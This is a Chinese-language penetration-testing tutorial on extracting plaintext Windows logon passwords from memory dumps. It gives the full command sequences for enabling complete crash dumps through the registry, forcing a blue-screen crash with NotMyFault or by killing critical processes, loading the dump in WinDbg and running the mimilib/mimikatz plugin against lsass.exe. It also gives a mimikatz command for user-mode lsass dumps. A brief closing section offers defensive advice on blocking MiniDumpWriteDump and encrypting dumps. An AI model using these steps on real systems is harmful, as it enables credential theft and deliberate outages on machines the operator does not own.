0x00 前言
在上篇文章《Mimilib利用分析》提到mimilib可作為WinDbg的插件進行使用,所以本文將會詳細介紹這個插件的用法,實現從內核模式轉儲文件中導出口令,結合利用思路給出防禦建議。
0x01 簡介
本文將要介紹以下內容:
· dump文件的分類
· 兩種dump文件的導出方法
· WinDbg環境配置
· 利用思路
· 防禦建議
0x02 dump文件的分類
dump文件分為以下兩類:
1.User-Mode Dump File
即用戶模式轉儲文件,分為以下兩種:
· Full User-Mode Dumps
· Minidumps
簡單理解:通常是針對單個進程。
更多參考資料:
https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/user-mode-dump-files
創建方法:可以使用Procdump進行創建。
從用戶模式轉儲文件導出口令的方法:
可參考之前的文章《滲透基礎-從lsass.exe進程導出憑據》
2.Kernel-Mode Dump Files
即內核模式轉儲文件,分為以下五種:
· Complete Memory Dump
· Kernel Memory Dump
· Small Memory Dump
· Automatic Memory Dump
· Active Memory Dump
簡單理解:包括所有進程的信息。
創建方法:啟動創建轉儲文件的功能,在系統崩潰(BSOD)時將自動創建。
更多參考資料:
https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/kernel-mode-dump-files
0x03 從內核模式轉儲文件導出口令的方法
流程如下:
1.開啟轉儲文件的功能 2.強制系統藍屏(BSOD),系統將會自動創建內核模式轉儲文件 3.使用WinDbg加載轉儲文件,調用mimilib導出明文口令
具體需要注意以下問題:
1.開啟轉儲文件的功能
對應註冊表位置:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\CrashControl,註冊表項CrashDumpEnabled,類型為REG_DWORD。
數值對應的功能如下:
· 0表示不啟用
· 1表示完全內存轉儲
· 2表示核心內存轉儲
· 3表示內存轉儲
查看這個註冊表對應的cmd命令如下:
reg query hklm\SYSTEM\CurrentControlSet\Control\CrashControl /v CrashDumpEnabled
這裡需要將鍵值設置為1,開啟完全內存轉儲的功能,否則使用WinDbg訪問進程lsass.exe的內存時會提示具有無效的頁目錄,如下圖:
修改這個註冊表對應的cmd命令如下:
reg add hklm\SYSTEM\CurrentControlSet\Control\CrashControl /v CrashDumpEnabled /t REG_DWORD /d 1 /f
2.強制系統藍屏(BSOD)
(1)通過結束屬性為critical process的進程導致BSOD
默認為critical process的系統進程如下:
· csrss.exe
· lsass.exe
· services.exe
· smss.exe
· svchost.exe
· wininit.exe
這裡也可以先將指定進程設置為critical process,結束該進程後也會導致BSOD
具體細節可參考之前的文章《結束進程導致BSOD的利用分析》
(2)使用NotMyFault
下載地址:
https://docs.microsoft.com/en-us/sysinternals/downloads/notmyfault
觸發藍屏(BSOD)的命令如下:
notmyfault.exe -accepteula /crash
註:NotMyFault還支持將當前系統掛起,命令如下:
notmyfault.exe -accepteula /hang
默認配置下,系統藍屏(BSOD)後將會自動重啟並生成文件c:\windows\MEMORY.DMP。
3.使用WinDbg加載MEMORY.DMP
註:WinDbg可以在安裝SDK後自動安裝。
參考資料:
https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/debugger-download-tools
使用WinDbg,選擇打開Crash Dump,選擇MEMORY.DMP。
獲得dump文件詳細信息的命令如下:
報錯提示:Kernel symbols are WRONG. Please fix symbols to do analysis.
如下圖:
這裡需要修復符號文件,可以選擇以下三種解決方法:
(1) using the _NT_SYMBOL_PATH environment variable.
添加環境變量:
set _NT_SYMBOL_PATH=srv*c:\mysymbol*https://msdl.microsoft.com/download/symbols
(2) using the -y
使用WinDbg以指定參數啟動
windbg.exe -y SRV*c:\mysymbol*http://msdl.microsoft.com/download/symbols
(3)using .sympath and .sympath+
添加Symbol File Path。
WinDbg的命令行操作:
.sympath SRV*c:\mysymbol*http://msdl.microsoft.com/download/symbols
也可以通過界面操作實現。
File->Symbol File Path ...
填入SRV*c:\mysymbol*http://msdl.microsoft.com/download/symbols
設置以後,需要的符號文件會自動從Microsoft公共符號伺服器下載。
重新加載:
測試:
加載正常,如下圖:
如果這部分仍然失敗,可嘗試使用VPN連接網際網路。
如果測試環境無法連接網際網路,可以通過SymChk獲取清單文件的方式下載符號文件
參考資料:
https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/using-a-manifest-file-with-symchk
在無法連接網際網路的計算機A上執行:
SymChk /om c:\Manifest\man.txt /id c:\test\MEMORY.DMP
獲得文件c:\Manifest\man.txt,將其複製到可連接網際網路的計算機B上,在計算機B上執行如下命令:
SymChk /im c:\test\man.txt /s srv*c:\mysymbolNew*https://msdl.microsoft.com/download/symbols
將會生成新的文件夾c:\mysymbolNew,將其複製到計算機A上,在計算機A上啟動WinDbg並指定新的符號文件位置為c:\mysymbolNew,命令如下:
測試:
.Reload
!process 0 0 lsass.exe
加載正常,如下圖:
4.加載mimilib插件
可參考之前的文章《Mimilib利用分析》
(1)方法1
將mimilib.dll保存至WinDbg的winext目錄。
我的測試環境(Server2012R2x64)保存的路徑為:C:\Program Files\Debugging Tools for Windows (x64)\winext
啟動WinDbg。
加載插件的命令如下:
(2)方法2
直接加載mimilib的絕對路徑,實例如下:
綜上,搭建配置環境導出口令的完整命令如下:
.sympath SRV*c:\mysymbol*http://msdl.microsoft.com/download/symbols
.reload
!process 0 0 lsass.exe
.process 890f4530
.load c:\test\mimilib
.reload
!mimikatz
完整流程如下圖:
將輸出結果保存到文件中可使用以下命令:
.logopen c:\test\log.txt
!mimikatz
.logclose
0x04 利用思路
1.從用戶模式轉儲文件導出口令
通過API MiniDumpWriteDump()獲得進程lsass.exe的dump文件。
使用mimikatz從dump文件中導出口令,命令如下:
mimikatz.exe log "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit
2.從內核模式轉儲文件導出口令
開啟轉儲文件的功能。
強制系統藍屏(BSOD)。
使用WinDbg加載轉儲文件,調用mimilib導出明文口令。
0x05 防禦建議
1.從用戶模式轉儲文件導出口令
攔截API MiniDumpWriteDump()的行為,部分安全產品已經支持這個功能。
2.從內核模式轉儲文件導出口令
開啟轉儲加密功能。
參考資料:
https://docs.microsoft.com/en-us/windows-server/virtualization/hyper-v/manage/about-dump-encryption
註:如果攻擊者獲得了系統的管理員權限,能夠關閉轉儲加密的功能。
0x06 小結
本文分別介紹了從用戶模式轉儲文件和內核模式轉儲文件導出口令的方法,結合利用思路給出防禦建議。